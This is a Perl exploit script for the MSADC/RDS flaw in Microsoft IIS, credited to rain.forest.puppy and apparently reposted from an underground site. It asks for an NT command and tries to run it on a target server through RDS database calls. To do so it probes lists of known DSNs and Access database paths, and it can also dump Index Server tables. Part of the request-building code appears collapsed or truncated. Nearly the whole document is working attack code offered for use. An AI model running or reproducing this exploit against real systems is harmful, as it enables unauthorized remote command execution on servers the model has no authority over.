#!perl # # -----[ www.TheCyberUnderground.com # # # MSADC/RDS 'usage' (aka exploit) script # # by rain.forest.puppy # # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me # beta test and find errors! use Socket; use Getopt::Std; getopts("e:vd:h:XR", \%args); print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; if (!defined $args{h} && !defined $args{R}) { print qq~ Usage: msadc.pl -h { -d -X -v } -h = host you want to scan (ip or domain) -d = delay between calls, default 1 second -X = dump Index Server path table, if available -v = verbose -e = external dictionary file for step 5 Or a -R will resume a command session ~; exit;} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } if (!defined $args{R}){ $ret = &has_msadc; die("Looks like msadcs.dll doesn't exist\n")if $ret==0} print "Please type the NT commandline you want to run (cmd /c assumed):\n" . "cmd /c "; $in=; chomp $in; $command="cmd /c " . $in ; if (defined $args{R}) {&load; exit;} print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr; print "\nStep 2: Trying to make our own DSN..."; &make_dsn ? print "<>\n" : print "<>\n"; print "\nStep 3: Trying known DSNs..."; &known_dsn; print "\nStep 4: Trying known .mdbs..."; &known_mdb; if (defined $args{e}){ print "\nStep 5: Trying dictionary of DSN names..."; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } print "Sorry Charley...maybe next time?\n"; exit; ############################################################################## sub sendraw { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ select(S); $|=1; print $pstr; my @in=; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub make_header { # make the HTTP request my $msadc=<Datasource creation successful<\/H2>/;}} } return 0;} ############################################################################## sub verify_exists { my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr { my @drives=("c","d","e","f"); my @dirs=("winnt","winnt35","winnt351","win","windows"); foreach $dir (@dirs) { print "$dir -> "; # fun status so you can see progress foreach $drive (@drives) { print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ############################################################################## sub odbc_error { my (@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose { my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save { my ($p1, $p2, $p3, $p4)=@_; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; close OUT;} ############################################################################## sub load { my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; open(IN,"; close(IN); $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; if($p[1]==1) { $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); if (rdo_success(@results)){print "Success!\n";} else { print "failed\n"; verbose(odbc_error(@results));}} elsif ($p[1]==3){ if(run_query("$p[3]")){ print "Success!\n";} else { print "failed\n"; }} elsif ($p[1]==4){ if(run_query($drvst . "$p[3]")){ print "Success!\n"; } else { print "failed\n"; }} exit;} ############################################################################## sub create_table { my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn { # we want 'wicca' first, because if step 2 made the DSN, it's ready to go my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); foreach $dSn (@dsns) { print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n"; if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { print "Something's borked. Use verbose next time\n";}}} print "\n";} ############################################################################## sub is_access { my ($in)=@_; $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query { my ($in)=@_; $reqlen=length( make_req(3,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(3,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb { my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; # this is sparse, because I don't know of many my @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just \ foreach $drive (@drives) { foreach $dir (@dirs){ foreach $mdb (@sysmdbs) { print "."; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; } else { print "Something's borked. Use verbose next time\n"; }}}}} foreach $drive (@drives) { foreach $mdb (@mdbs) { print "."; if(create_table($drv . $drive . $dir . $mdb)){ print "\n" . $drive . $dir . $mdb . " successful\n"; if(run_query($drv . $drive . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; } else { print "Something's borked. Use verbose next time\n"; }}}} } ############################################################################## sub hork_idx { print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw2(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } } else {print "Index server doesn't seem to be installed.\n"; }} ############################################################################## sub dsn_dict { open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n"; if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { print "Something's borked. Use verbose next time\n";}}} print "\n"; close(IN);} ############################################################################## sub sendraw2 { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ print "Connected. Getting data"; open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(){ print OUT $_; push @in, $_; print STDOUT ".";} close(OUT); select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub content_start { # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++) { if($in[$c] =~/^\x0d\x0a/){ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } else { return $c+1; }}} return -1;} # it should never get here actually ############################################################################## sub funky { my (@in)=@_; my $error=odbc_error(@in); if($error=~/ADO could not find the specified provider/){ print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit;} if($error=~/A Handler is required/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;} if($error=~/specified Handler has denied Access/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;}} ############################################################################## sub has_msadc { my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); my $base=content_start(@results); return 1 if($results[$base]=~/Content-Type: application\/x-varg/); return 0;} ##############################################################################